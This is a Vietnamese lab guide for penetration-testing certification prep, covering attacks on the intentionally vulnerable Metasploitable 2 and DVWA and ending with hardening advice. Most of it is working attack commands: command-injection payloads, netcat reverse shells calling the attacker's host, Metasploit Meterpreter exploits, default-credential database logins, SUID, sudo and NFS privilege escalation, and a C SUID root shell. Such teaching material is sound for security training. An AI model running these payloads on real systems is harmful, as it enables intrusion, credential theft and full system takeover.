  • DVWA ở mức độ bảo mật “Low” được thiết kế để cực kỳ dễ bị tổn thương nhằm mục đích giảng dạy các khái niệm cơ bản về SQL Injection. Việc hiểu cách các payload SQL được xây dựng thủ công, cách UNION hoạt động, và cách information_schema được sử dụng để liệt kê cấu trúc cơ sở dữ liệu là rất quan trọng. Mặc dù các công cụ như SQLMap tự động hóa quá trình này, việc nắm vững các kỹ thuật thủ công là cần thiết cho các kỳ thi có thể hạn chế việc sử dụng công cụ hoặc yêu cầu thí sinh phải tùy chỉnh payload để vượt qua các bộ lọc đơn giản.
  • 4.3.3. DVWA: Command Injection (Mức độ Low)
  • Thông tin: Lỗ hổng Command Injection cho phép thực thi các lệnh hệ điều hành tùy ý trên server thông qua đầu vào của người dùng không được lọc đúng cách.24
  • Thực hành 24:
  • Vào mục “Command Injection” trong DVWA.
  • Ứng dụng này cho phép người dùng ping một địa chỉ IP. Đầu vào này không được kiểm tra kỹ lưỡng.
  • Trong ô nhập IP, thử các payload sau:
  • 127.0.0.1 (để xem kết quả ping hợp lệ)
  • 127.0.0.1; ls -la (dấu ; cho phép thực thi lệnh tiếp theo bất kể lệnh trước đó thành công hay thất bại; liệt kê file trong thư mục hiện tại của web server)
  • 127.0.0.1 && whoami (dấu && chỉ thực thi lệnh tiếp theo nếu lệnh trước đó thành công; xem user đang chạy web server, thường là www-data)
  • 127.0.0.1 | cat /etc/passwd (dấu | chuyển output của lệnh trước làm input cho lệnh sau; đọc file passwd)
  • Thiết lập Reverse Shell 24:

    Một reverse shell cho phép kẻ tấn công nhận một kết nối shell từ máy nạn nhân về máy của mình.
  • Trên Kali, mở một terminal và lắng nghe bằng Netcat: nc -lvnp <Port_Lắng_Nghe> (ví dụ: nc -lvnp 4444).
  • Trong DVWA Command Injection, nhập: 127.0.0.1; nc -e /bin/bash <IP_Kali> <Port_Lắng_Nghe> (ví dụ: 127.0.0.1; nc -e /bin/bash 192.168.X.Y 4444).
  • Lưu ý: Một số phiên bản nc không có tùy chọn -e. Có thể dùng các payload reverse shell khác như:
    127.0.0.1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_Kali> <Port_Lắng_Nghe> >/tmp/f
  • Kiểm tra terminal Netcat trên Kali, bạn sẽ có một reverse shell từ Metasploitable 2 với quyền của user www-data.
  • Việc hiểu rõ cách các ký tự phân tách shell khác nhau (;, &&, |, | |) hoạt động là chìa khóa để tạo ra các payload command injection hiệu quả và vượt qua các bộ lọc đơn giản. Dấu chấm phẩy (;) cho phép thực thi nhiều lệnh một cách tuần tự. Dấu và kép (&&) chỉ thực thi lệnh thứ hai nếu lệnh đầu tiên thành công. Dấu ống (|) chuyển hướng đầu ra của lệnh này sang đầu vào của lệnh khác. Sự khác biệt này rất quan trọng để xây dựng payload chính xác và đạt được mục tiêu mong muốn.
  • 4.3.4. Khai thác Apache Tomcat (Cổng 8180)
  • Thông tin: Apache Tomcat trên cổng 8180 của Metasploitable 2 có ứng dụng quản lý (manager application) với thông tin đăng nhập mặc định (tomcat:tomcat) hoặc yếu, cho phép kẻ tấn công tải lên các file WAR (Web Application Archive) độc hại để thực thi mã từ xa.16
  • Khai thác bằng Metasploit (Manager Deploy) 26:
  • msf6 > search tomcat manager deploy
  • msf6 > use exploit/multi/http/tomcat_mgr_deploy
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS <IP_Metasploitable2>
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_tcp (hoặc payload phù hợp khác như java/jsp_shell_reverse_tcp)
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > set LHOST <IP_Kali>
  • msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit
  • Kết quả: Có được Meterpreter shell với quyền của user chạy Tomcat (thường là tomcat hoặc root tùy cấu hình).
  • Khai thác cổng AJP 8009 (Nâng cao) 27:
  • Thông tin: Ngoài cổng HTTP (8080 hoặc 8180), Tomcat cũng lắng nghe trên cổng 8009 sử dụng Apache JServ Protocol (AJP). Nếu cổng này bị lộ ra ngoài và cổng HTTP bị chặn hoặc bảo vệ, AJP vẫn có thể là một vector tấn công. Metasploitable 2 có cổng 8009 mở.15 AJP là một phiên bản nhị phân tối ưu hóa của HTTP.
  • Phương pháp (khái niệm):
  1. Trên máy Kali, cấu hình một proxy cục bộ (ví dụ sử dụng Apache với mod_proxy_ajp hoặc một công cụ proxy chuyên dụng) để chuyển tiếp các yêu cầu HTTP từ máy Kali đến cổng AJP 8009 trên Metasploitable 2.
    Ví dụ cấu hình Apache trên Kali (tạo file /etc/apache2/sites-available/ajp-proxy.conf):
    Apache
    <VirtualHost *:8088> # Cổng proxy cục bộ trên Kali
        ProxyPass / ajp://<IP_Metasploitable2>:8009/
        ProxyPassReverse / ajp://<IP_Metasploitable2>:8009/
    </VirtualHost>

    Kích hoạt site: sudo a2ensite ajp-proxy.conf && sudo systemctl reload apache2.
  2. Sau đó, sử dụng các công cụ tấn công Tomcat của Metasploit (ví dụ: auxiliary/scanner/http/tomcat_mgr_login hoặc exploit/multi/http/tomcat_mgr_deploy) nhắm vào proxy cục bộ trên Kali (ví dụ: RHOSTS localhost, RPORT 8088).
  • Việc khai thác các dịch vụ qua các giao thức ít phổ biến hơn như AJP cho thấy tầm quan trọng của việc kiểm tra tất cả các cổng và dịch vụ đang mở, không chỉ những cổng HTTP chuẩn. Kẻ tấn công có thể tìm ra các bề mặt tấn công không rõ ràng mà người quản trị có thể đã bỏ qua. Đây là một kỹ thuật phù hợp với các kỳ thi nâng cao như CPENT/LPT, nơi đòi hỏi sự sáng tạo và khả năng tìm kiếm các vector tấn công độc đáo.
  • 4.4. Giai đoạn 4: Khai thác Cơ sở dữ liệu
  • 4.4.1. MySQL (Cổng 3306)
  • Thông tin: Dịch vụ MySQL trên Metasploitable 2 có tài khoản root không yêu cầu mật khẩu để đăng nhập từ bất kỳ host nào.17
  • Thực hành:
  • Từ terminal trên Kali Linux, kết nối đến MySQL server:
    Bash
    mysql -u root -h <IP_Metasploitable2>
  • Khi được hỏi mật khẩu (Enter password:), chỉ cần nhấn Enter.
  • Sau khi kết nối thành công, bạn có thể thực thi các lệnh SQL:
  • Liệt kê tất cả các cơ sở dữ liệu: SHOW DATABASES;
  • Chọn cơ sở dữ liệu DVWA: USE dvwa;
  • Liệt kê các bảng trong cơ sở dữ liệu DVWA: SHOW TABLES;
  • Xem thông tin người dùng (bao gồm cả hash mật khẩu) từ bảng users: SELECT user, password FROM users;
  • Lỗ hổng này là một ví dụ điển hình của việc không đặt mật khẩu cho tài khoản quản trị cơ sở dữ liệu, một lỗi cấu hình cực kỳ nguy hiểm.
  • 4.4.2. PostgreSQL (Cổng 5432)
  • Thông tin: Dịch vụ PostgreSQL trên Metasploitable 2 có thể có thông tin đăng nhập yếu hoặc mặc định (ví dụ: postgres:postgres hoặc msfadmin:msfadmin) và cho phép kết nối từ xa.16
  • Khai thác bằng Metasploit (Login Scanner):
  • msf6 > use auxiliary/scanner/postgres/postgres_login
  • msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS <IP_Metasploitable2>
  • msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres (hoặc thử msfadmin)
  • msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD postgres (hoặc thử msfadmin, hoặc sử dụng USER_FILE và PASS_FILE với danh sách mật khẩu phổ biến)
  • msf6 auxiliary(scanner/postgres/postgres_login) > run
  • Nếu tìm thấy thông tin đăng nhập (ví dụ: postgres:postgres):
  • Kết nối từ Kali bằng psql:
    Bash
    psql -h <IP_Metasploitable2> -U postgres -d template1

    (Nhập mật khẩu postgres khi được hỏi). template1 là một cơ sở dữ liệu mặc định thường tồn tại.
  • Sau khi kết nối, bạn có thể thực thi các lệnh psql:
  • Liệt kê các cơ sở dữ liệu: \l
  • Kết nối tới một cơ sở dữ liệu khác: \c <tên_cơ_sở_dữ_ liệu>
  • Liệt kê các bảng trong cơ sở dữ liệu hiện tại: \dt
  • Khai thác bằng Metasploit (Payload Execution – nếu có quyền và phiên bản phù hợp):
    PostgreSQL có một số lỗ hổng cho phép thực thi mã từ xa, đặc biệt là thông qua các hàm do người dùng định nghĩa (UDF) nếu kẻ tấn công có quyền tạo hàm.
  • msf6 > search postgres payload
  • Tìm một exploit phù hợp, ví dụ exploit/linux/postgres/postgres_payload (yêu cầu thông tin đăng nhập và quyền ghi).
  • Cấu hình các tùy chọn:
    msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS <IP_Metasploitable2>
    msf6 exploit(linux/postgres/postgres_payload) > set USERNAME postgres
    msf6 exploit(linux/postgres/postgres_payload) > set PASSWORD postgres
    msf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
    msf6 exploit(linux/postgres/postgres_payload) > set LHOST <IP_Kali>
  • msf6 exploit(linux/postgres/postgres_payload) > exploit
  • Tương tự như MySQL, việc sử dụng thông tin đăng nhập mặc định hoặc yếu cho PostgreSQL là một rủi ro bảo mật lớn. Các kỳ thi như CEH Master nhấn mạnh việc khai thác các lỗ hổng trên cơ sở dữ liệu.3 Việc kiểm tra thông tin đăng nhập mặc định là một bước cơ bản nhưng thường mang lại kết quả cao trong các cuộc kiểm thử xâm nhập.
  • 4.5. Giai đoạn 5: Leo thang Đặc quyền (Privilege Escalation)
    Mục tiêu của giai đoạn này là nâng cao quyền từ một người dùng thông thường (ví dụ: msfadmin sau khi đăng nhập qua Telnet, hoặc www-data sau khi khai thác command injection) lên quyền quản trị cao nhất (root) trên hệ thống Metasploitable 2.
  • 4.5.1. Leo thang qua Sudo (Từ user msfadmin)
  • Thông tin: Nếu bạn đã có được một shell với quyền của user msfadmin (ví dụ, thông qua khai thác Telnet), bạn có thể kiểm tra cấu hình sudo của user này. Trên Metasploitable 2, msfadmin được cấu hình để có thể chạy bất kỳ lệnh nào với quyền root mà không cần nhập lại mật khẩu.
  • Thực hành 16:
  1. Trong shell msfadmin, gõ lệnh:
    Bash
    sudo -l
  2. Kết quả sẽ hiển thị:
    Matching Defaults entries for msfadmin on this host:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

    User msfadmin may run the following commands on this host:
        (ALL : ALL) NOPASSWD: ALL

    Dòng (ALL : ALL) NOPASSWD: ALL có nghĩa là user msfadmin có thể chạy tất cả các lệnh (ALL) với tư cách của bất kỳ user nào (ALL) trên bất kỳ host nào (ALL) mà không cần mật khẩu (NOPASSWD).
  3. Để leo thang lên quyền root, gõ một trong các lệnh sau:
    Bash
    sudo su

    hoặc
    Bash
    sudo /bin/bash
  4. Xác nhận quyền root bằng cách gõ:
    Bash
    whoami

    Kết quả phải là root.
  • Đây là một ví dụ điển hình về cấu hình sai sudo, một trong những cách dễ dàng nhất để leo thang đặc quyền trên hệ thống Linux nếu gặp phải. Việc cấp quyền NOPASSWD: ALL cho một user không phải root là cực kỳ nguy hiểm.
  • 4.5.2. Leo thang qua SUID Binaries
  • Thông tin: Các file thực thi (binaries) trên Linux có thể được đặt một bit đặc biệt gọi là SUID (Set User ID). Khi một file có bit SUID được thực thi, nó sẽ chạy với quyền của chủ sở hữu file đó, chứ không phải quyền của người dùng thực thi nó. Nếu một file thuộc sở hữu của root và có bit SUID được đặt, đồng thời file đó có thể bị lạm dụng để chạy các lệnh tùy ý (ví dụ, một trình soạn thảo có thể thoát ra shell, hoặc một công cụ có chế độ tương tác), thì nó có thể được sử dụng để leo thang đặc quyền lên root.28
  • Thực hành:
  1. Tìm các file SUID root: Từ một shell trên Metasploitable 2 (ví dụ, shell www-data hoặc msfadmin), chạy lệnh sau để tìm tất cả các file thuộc sở hữu của root và có bit SUID được đặt:
    Bash
    find / -user root -perm -4000 -print 2>/dev/null

    Hoặc để xem chi tiết hơn về quyền:
    Bash
    find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

    29
  2. Phân tích danh sách: Xem xét danh sách các file SUID tìm được. Tìm kiếm các file không chuẩn, hoặc các công cụ chuẩn có thể bị lạm dụng. Một số ví dụ về các file SUID có thể bị lạm dụng (mặc dù không phải tất cả đều có trên Metasploitable 2 hoặc có thể bị khai thác theo cách này):
  • nmap (các phiên bản cũ hơn có chế độ tương tác -interactive có thể thoát ra shell)
  • find (có thể thực thi lệnh với -exec)
  • vim / vi (có thể thoát ra shell từ bên trong trình soạn thảo)
  • bash / sh / python / perl (nếu các trình thông dịch này là SUID root, việc có shell root là tầm thường, nhưng đây là cấu hình cực kỳ hiếm và nguy hiểm)
  • Các script hoặc chương trình tùy chỉnh.
  1. Ví dụ khai thác (nếu nmap cũ có SUID và chế độ tương tác):
    Metasploitable 2 có nmap nhưng có thể không phải phiên bản dễ bị khai thác SUID theo cách này. Tuy nhiên, để minh họa khái niệm:
    Nếu nmap là SUID root và có tùy chọn –interactive:
    Bash
    /usr/bin/nmap –interactive

    Sau đó trong prompt của nmap, gõ:
    nmap>!sh

    Điều này sẽ cho bạn một shell root.
  2. Ví dụ khai thác (nếu find có SUID):
    Nếu find là SUID root:
    Bash
    /usr/bin/find. -exec /bin/sh \; -quit

    Lệnh này sẽ thực thi /bin/sh với quyền root.
  3. Ví dụ khai thác (nếu một chương trình tùy chỉnh custom_suid_script gọi một lệnh hệ thống như cat mà không có đường dẫn tuyệt đối, và custom_suid_script là SUID root):
    Giả sử có một script SUID root tên là /usr/local/bin/custom_suid_script có nội dung gọi lệnh service apache2 start hoặc cat /etc/someconfig mà không dùng đường dẫn tuyệt đối (ví dụ, chỉ gọi service hoặc cat).
  • Tạo một file tên service (hoặc cat) trong một thư mục mà user hiện tại có quyền ghi (ví dụ /tmp):
    Bash
    cd /tmp
    echo ‘/bin/bash’ > service
    chmod +x service
  • Thêm thư mục /tmp vào đầu biến môi trường PATH:
    Bash
    export PATH=/tmp:$PATH
  • Chạy script SUID:
    Bash
    /usr/local/bin/custom_suid_script

Khi custom_suid_script chạy, nó sẽ tìm lệnh service trong PATH. Vì /tmp đứng đầu PATH, nó sẽ thực thi /tmp/service (chính là /bin/bash) với quyền root.

  • Khai thác SUID là một kỹ thuật leo thang đặc quyền kinh điển trên Linux. Nó đòi hỏi khả năng xác định các file nhị phân SUID mà khi chạy với quyền root, cho phép người dùng thực thi các lệnh tùy ý, thoát ra shell, hoặc ghi đè các file hệ thống quan trọng. Việc tìm kiếm các file SUID không chuẩn hoặc các phiên bản dễ bị tổn thương của các công cụ chuẩn là một phần quan trọng của quá trình này.
  • 4.5.3. Leo thang qua NFS Root Squash Misconfiguration 15
  • Thông tin: Metasploitable 2 có cấu hình dịch vụ NFS (Network File System) không an toàn. Cụ thể, nó chia sẻ toàn bộ thư mục gốc (/) của hệ thống mà không bật tùy chọn root_squash. Tùy chọn root_squash thường được sử dụng để ánh xạ user root từ client thành một user không có đặc quyền (thường là nobody) trên server NFS, nhằm mục đích bảo mật. Khi root_squash bị tắt (hoặc no_root_squash được bật), client kết nối với quyền root sẽ được coi là root trên server NFS, cho phép client ghi vào bất kỳ file nào trên hệ thống file được chia sẻ.
  • Thực hành:
  1. Kiểm tra các chia sẻ NFS từ Kali:
    Trên máy Kali, cài đặt các công cụ NFS client nếu chưa có:
    Bash
    sudo apt update
    sudo apt install nfs-common

    Sau đó, kiểm tra các thư mục được chia sẻ từ Metasploitable 2:
    Bash
    showmount -e <IP_Metasploitable2>

    Kết quả thường sẽ là:
    Export list for <IP_Metasploitable2>:
    / *

    Dòng / * có nghĩa là toàn bộ thư mục gốc (/) được chia sẻ cho tất cả mọi người (*).
  2. Tạo mount point và mount chia sẻ NFS trên Kali:
    Bash
    sudo mkdir /mnt/metasploitable_nfs
    sudo mount -t nfs <IP_Metasploitable2>:/ /mnt/metasploitable_nfs -o nolock

    (Tùy chọn -o nolock có thể cần thiết nếu có vấn đề về file locking).
    Bây giờ, thư mục /mnt/metasploitable_nfs trên Kali chính là thư mục gốc (/) của Metasploitable 2.
  3. Phương pháp 1: Thêm SSH key cho root của Metasploitable 2:
  • Trên Kali, nếu bạn chưa có cặp khóa SSH, hãy tạo một cặp:
    Bash
    ssh-keygen -t rsa

    (Nhấn Enter cho các câu hỏi mặc định).
  • Sao chép public key của Kali (~/.ssh/id_rsa.pub) vào file authorized_keys của user root trên Metasploitable 2 thông qua thư mục NFS đã mount:
    Bash
    sudo mkdir -p /mnt/metasploitable_nfs/root/.ssh
    sudo cp ~/.ssh/id_rsa.pub /mnt/metasploitable_nfs/root/.ssh/authorized_keys
    sudo chmod 700 /mnt/metasploitable_nfs/root/.ssh
    sudo chmod 600 /mnt/metasploitable_nfs/root/.ssh/authorized_keys
  • Ngắt kết nối NFS:
    Bash
    sudo umount /mnt/metasploitable_nfs
  • Bây giờ, bạn có thể SSH vào Metasploitable 2 với quyền root từ Kali mà không cần mật khẩu:
    Bash
    ssh root@<IP_Metasploitable2>
  1. Phương pháp 2: Tạo một SUID shell trên Metasploitable 2:
  • Tạo một chương trình C đơn giản trên Kali để tạo shell SUID root:
    C
    // suid_shell.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    int main() {
        setuid(0);  // Đặt User ID thành 0 (root)
        setgid(0);  // Đặt Group ID thành 0 (root)
        system(“/bin/bash -p”); // Chạy bash với cờ -p để giữ quyền root
        return 0;
    }
  • Biên dịch trên Kali:
    Bash
    gcc suid_shell.c -o suid_shell
  • Sao chép file suid_shell đã biên dịch vào một thư mục trên Metasploitable 2 thông qua NFS (ví dụ /tmp):
    Bash
    sudo cp suid_shell /mnt/metasploitable_nfs/tmp/suid_shell
  • Đặt quyền sở hữu là root và bit SUID cho file đó trên Metasploitable 2:
    Bash
    sudo chown root:root /mnt/metasploitable_nfs/tmp/suid_shell
    sudo chmod 4755 /mnt/metasploitable_nfs/tmp/suid_shell
  • Ngắt kết nối NFS:
    Bash
    sudo umount /mnt/metasploitable_nfs
  • Bây giờ, từ bất kỳ shell user nào trên Metasploitable 2 (ví dụ msfadmin hoặc www-data), bạn có thể chạy /tmp/suid_shell để có được một shell root:
    Bash
    /tmp/suid_shell
    whoami  # Sẽ hiển thị root
  • Cấu hình sai NFS như thế này là một lỗ hổng cực kỳ nghiêm trọng. Nó minh họa cách các dịch vụ mạng được cấu hình không an toàn có thể dẫn trực tiếp đến việc chiếm toàn bộ quyền kiểm soát hệ thống. Đây là một bài học quan trọng về tầm quan trọng của việc làm cứng cấu hình dịch vụ.

Phần 5: Các Kịch bản và Kỹ thuật Nâng cao (Tập trung vào CPENT/LPT)

Phần này giới thiệu các kỹ thuật nâng cao hơn, giúp người học chuẩn bị cho các yêu cầu phức tạp của các kỳ thi như CPENT và LPT, nơi việc hiểu sâu cơ chế và khả năng khai thác thủ công được đánh giá cao.

  • 5.1. Thực hành Khai thác Thủ công (Manual Exploitation)
    Mục tiêu là giảm sự phụ thuộc vào Metasploit, hiểu rõ hơn về cách lỗ hổng hoạt động và cách payload được gửi đi. Điều này rất quan trọng vì trong các tình huống thực tế hoặc kỳ thi, Metasploit có thể không có sẵn, hoặc các module của nó có thể bị phát hiện bởi hệ thống phòng thủ, đòi hỏi phải tùy chỉnh exploit.
  • Khai thác vsftpd 2.3.4 backdoor bằng Netcat:
    Như đã đề cập trong phần trước, backdoor của vsftpd 2.3.4 được kích hoạt khi một tên người dùng chứa 🙂 được gửi, sau đó một shell sẽ lắng nghe trên cổng 6200.
  1. Kết nối đến cổng FTP (21) của Metasploitable 2 từ Kali bằng netcat (hoặc telnet):
    Bash
    nc <IP_Metasploitable2> 21

    Bạn sẽ thấy banner chào mừng của vsftpd.
  2. Gửi lệnh USER với payload 🙂 ở cuối:
    USER user_hacker:)

    (Nhấn Enter. Server sẽ phản hồi 331 Please specify the password.)
  3. Gửi bất kỳ lệnh PASS nào:
    PASS whatever

    (Nhấn Enter. Server có thể báo lỗi đăng nhập hoặc đóng kết nối, điều này không quan trọng vì backdoor đã được kích hoạt.)
  4. Mở một terminal khác trên Kali và kết nối đến cổng backdoor (6200) trên Metasploitable 2:
    Bash
    nc <IP_Metasploitable2> 6200
  5. Nếu thành công, bạn sẽ nhận được một shell root (#). Bạn có thể kiểm tra bằng lệnh whoami hoặc id.
    Việc thực hiện khai thác này thủ công giúp hiểu rõ trình tự tương tác với dịch vụ FTP và cách backdoor được kích hoạt, thay vì chỉ dựa vào việc Metasploit tự động làm mọi thứ.
  • Khai thác Samba “username map script” thủ công (khái niệm):
    Lỗ hổng CVE-2007-2447 trong Samba xảy ra do việc thực thi lệnh trong giá trị của username map script khi tên người dùng chứa các ký tự đặc biệt của shell. Module Metasploit exploit/multi/samba/usermap_script sử dụng một tên người dùng được tạo đặc biệt, ví dụ: “/=nohup <payload_thực_sự>”.
    Để khai thác thủ công, có thể thử nghiệm các cách sau:
  1. Sử dụng smbclient với tên người dùng chứa lệnh đơn giản:
    Thử kết nối với một tên người dùng chứa một lệnh đơn giản để xem nó có được thực thi không. Ví dụ, tạo một reverse shell listener trên Kali: nc -lvnp 7777.
    Sau đó, từ một terminal khác trên Kali, thử kết nối Samba:
    Bash
    smbclient -L //<IP_Metasploitable2>/tmp -U ‘%=`nc <IP_Kali> 7777 -e /bin/bash`’

    (Trong đó % là ký tự đại diện cho tên người dùng trong một số ngữ cảnh, hoặc thử trực tiếp với tên người dùng như “/=nc <IP_Kali> 7777 -e /bin/bash”. Cú pháp chính xác có thể cần thử nghiệm.)
  2. Viết script Python đơn giản:
    Sử dụng thư viện như pysmbclient hoặc impacket để gửi yêu cầu đăng nhập (SessionSetupAndX request) với một tên người dùng đã được chế tạo đặc biệt chứa payload reverse shell.
    Ví dụ (ý tưởng, chưa phải code chạy được):
    Python
    # Cần cài đặt thư viện smbclient
    # from smb.SMBConnection import SMBConnection
    # conn = SMBConnection(username=”/=`nohup your_payload_here`”,…)
    # conn.connect(server_ip, 139)
    Payload thực sự (your_payload_here) có thể là một lệnh wget để tải script shell từ máy Kali rồi thực thi, hoặc một lệnh reverse shell phức tạp hơn. Các kỳ thi CPENT và LPT nhấn mạnh rất nhiều vào các kỹ thuật thủ công và hiểu biết sâu sắc về cơ chế khai thác, vượt ra ngoài việc chỉ sử dụng các công cụ tự động.5 Ngay cả khi Metasploitable 2 là một môi trường cơ bản, việc thực hành khai thác thủ công ở đây xây dựng nền tảng vững chắc. Ví dụ, nếu một Web Application Firewall (WAF) hoặc Intrusion Detection System (IDS) chặn payload vsftpd hoặc Samba cụ thể của Metasploit, một phương pháp tiếp cận thủ công có thể cho phép điều chỉnh payload để vượt qua các biện pháp phòng thủ đó.
  • 5.2. Giới thiệu về Post-Exploitation (Ngắn gọn)
    Sau khi đã có được quyền truy cập ban đầu vào hệ thống (ví dụ, một shell người dùng hoặc Meterpreter), giai đoạn post-exploitation bắt đầu. Mục tiêu là thu thập thêm thông tin, duy trì quyền truy cập, leo thang đặc quyền (nếu chưa phải root/SYSTEM), và có thể di chuyển sang các hệ thống khác trong mạng.
  • Với Meterpreter shell (từ Metasploit):
  • Thu thập thông tin hệ thống:
  • getuid: Xem user ID hiện tại.
  • sysinfo: Xem thông tin hệ thống (HĐH, kiến trúc).
  • ipconfig / ifconfig: Xem cấu hình mạng của máy nạn nhân.
  • ps: Liệt kê các tiến trình đang chạy.
  • netstat: Xem các kết nối mạng đang hoạt động.
  • Dump hash mật khẩu (nếu có quyền root/SYSTEM):
  • run post/windows/gather/smart_hashdump (cho Windows)
  • Trên Linux (Metasploitable 2), nếu đã có shell root, có thể đọc trực tiếp file /etc/shadow. Meterpreter cũng có thể có các module hỗ trợ.
  • Sau khi có hash, có thể crack offline bằng John the Ripper hoặc Hashcat.
  • Tìm kiếm file nhạy cảm:
  • search -f *.conf (tìm các file cấu hình)
  • search -f *pass* (tìm các file có chứa “pass” trong tên)
  • Leo thang đặc quyền (nếu chưa có quyền cao nhất):
  • getsystem: (Chủ yếu cho Windows) Meterpreter script này sử dụng nhiều kỹ thuật để cố gắng nâng quyền lên SYSTEM.31
  • Trên Linux, các kỹ thuật leo thang đặc quyền đã thảo luận (sudo, SUID, kernel exploits) sẽ được áp dụng.
  • Với shell thông thường (ví dụ từ Netcat):
  • Các lệnh tương tự như whoami, uname -a, ifconfig, ps aux, netstat -antp có thể được sử dụng.
  • Việc tải các công cụ bổ sung (như LinEnum.sh, pspy) lên máy nạn nhân có thể giúp tự động hóa việc thu thập thông tin và tìm kiếm vector leo thang đặc quyền.
  • 5.3. (Lý thuyết) Giới thiệu về Pivoting
    Pivoting là một kỹ thuật quan trọng trong kiểm thử xâm nhập, đặc biệt khi đối mặt với các mạng được phân đoạn. Nó có nghĩa là sử dụng một máy đã bị xâm nhập (compromised machine) làm “bàn đạp” để tấn công các máy khác trong cùng mạng nội bộ mà không thể truy cập trực tiếp từ máy tấn công ban đầu của bạn.
  • Kịch bản: Máy tấn công Kali của bạn ở mạng A. Bạn khai thác thành công máy chủ X (ví dụ: Metasploitable 2) ở mạng B (DMZ). Máy chủ X có thể truy cập vào các máy chủ khác Y, Z trong mạng C (mạng nội bộ), nhưng máy Kali của bạn không thể.
  • Cách thực hiện (khái niệm):
  1. Port Forwarding/Proxying: Thiết lập một cơ chế chuyển tiếp lưu lượng từ máy Kali của bạn, thông qua máy chủ X đã bị xâm nhập, đến các mục tiêu trong mạng C.
  • Metasploit Meterpreter có các lệnh như portfwd để chuyển tiếp cổng.
  • Có thể thiết lập một proxy SOCKS trên máy X bằng Meterpreter (auxiliary/server/socks_proxy) hoặc các công cụ khác. Sau đó, cấu hình các công cụ trên Kali (Nmap, trình duyệt, Metasploit) để sử dụng proxy này (ví dụ, qua proxychains).
  1. Tạo route trong Metasploit: Nếu bạn có Meterpreter session trên máy X, bạn có thể thêm một route trong Metasploit để định tuyến lưu lượng đến mạng C thông qua session đó.
    msf6 > route add <subnet_mạng_C> <netmask_mạng_C> <session_id_của_máy_X>

    Sau đó, các module Metasploit chạy từ máy Kali có thể nhắm mục tiêu trực tiếp vào các IP trong mạng C.
  • Mặc dù Metasploitable 2 là một lab đơn giản với một máy mục tiêu duy nhất, việc hiểu khái niệm pivoting là rất quan trọng cho các kịch bản CPENT/LPT phức tạp hơn, nơi có thể có nhiều segment mạng và yêu cầu khả năng di chuyển ngang (lateral movement) và tấn công sâu hơn vào hạ tầng của mục tiêu.5

Phần 6: Khuyến cáo và Chuẩn bị cho Kỳ thi

Sau khi thực hành các bài lab trên Metasploitable 2, điều quan trọng là phải rút ra được những bài học về bảo mật và áp dụng chúng vào việc chuẩn bị cho các kỳ thi chứng chỉ.

  • 6.1. Các Khuyến cáo Bảo mật Rút ra từ Lab:
    Các lỗ hổng trên Metasploitable 2 minh họa những sai lầm phổ biến trong cấu hình và quản lý hệ thống. Dưới đây là các khuyến cáo chính:
  • Quản lý bản vá (Patch Management): Luôn cập nhật hệ điều hành và tất cả các phần mềm ứng dụng lên phiên bản mới nhất để vá các lỗ hổng đã biết. Các dịch vụ như vsftpd (backdoor), UnrealIRCd (backdoor), Samba (usermap_script), Apache Tomcat (lỗ hổng quản lý), và nhân hệ điều hành cũ đều là mục tiêu dễ dàng nếu không được vá lỗi.
  • Mật khẩu mạnh và duy nhất (Strong & Unique Passwords):
  • Thay đổi ngay lập tức tất cả các mật khẩu mặc định của nhà sản xuất cho hệ điều hành, dịch vụ (Telnet, VNC, Tomcat manager, Distccd), ứng dụng và tài khoản cơ sở dữ liệu (MySQL, PostgreSQL).
  • Thực thi chính sách mật khẩu mạnh: độ dài tối thiểu, sự kết hợp của chữ hoa, chữ thường, số và ký tự đặc biệt.
  • Không sử dụng lại mật khẩu cho nhiều tài khoản hoặc dịch vụ.
  • Kiểm tra và Làm cứng Cấu hình (Configuration Hardening):
  • Nguyên tắc Đặc quyền Tối thiểu (Principle of Least Privilege): Chỉ cấp cho người dùng và dịch vụ những quyền hạn thực sự cần thiết để thực hiện nhiệm vụ của họ.
  • Tắt tất cả các dịch vụ không cần thiết để giảm thiểu bề mặt tấn công (attack surface). Mỗi dịch vụ chạy là một lỗ hổng tiềm ẩn.
  • Cấu hình sudo một cách cẩn thận. Tránh cấp quyền (ALL:ALL) NOPASSWD: ALL cho người dùng không phải root.
  • Vô hiệu hóa các tùy chọn nguy hiểm trong cấu hình dịch vụ nếu không thực sự cần thiết (ví dụ: username map script trong Samba).
  • Cấu hình NFS an toàn: Luôn sử dụng root_squash khi chia sẻ file qua NFS. Hạn chế quyền truy cập chỉ cho các host cụ thể và chỉ chia sẻ những thư mục thực sự cần thiết, không bao giờ chia sẻ toàn bộ thư mục gốc (/).
  • Hạn chế quyền truy cập vào các giao diện quản lý của ứng dụng (ví dụ: Tomcat manager, phpMyAdmin) chỉ từ các địa chỉ IP tin cậy hoặc qua VPN. Sử dụng xác thực mạnh.
  • Xác thực Đầu vào (Input Validation): Thực hiện xác thực và làm sạch (sanitize) đầu vào một cách nghiêm ngặt cho tất cả các dữ liệu do người dùng cung cấp trong ứng dụng web để chống lại các cuộc tấn công như SQL Injection, Command Injection, Cross-Site Scripting (XSS), v.v.
  • Giám sát và Ghi log (Monitoring & Logging):
  • Kích hoạt và định kỳ xem xét log hệ thống, log dịch vụ và log ứng dụng để phát hiện các hoạt động đáng ngờ hoặc các dấu hiệu cố gắng xâm nhập.
  • Sử dụng hệ thống phát hiện xâm nhập (IDS/IPS) để giám sát lưu lượng mạng.
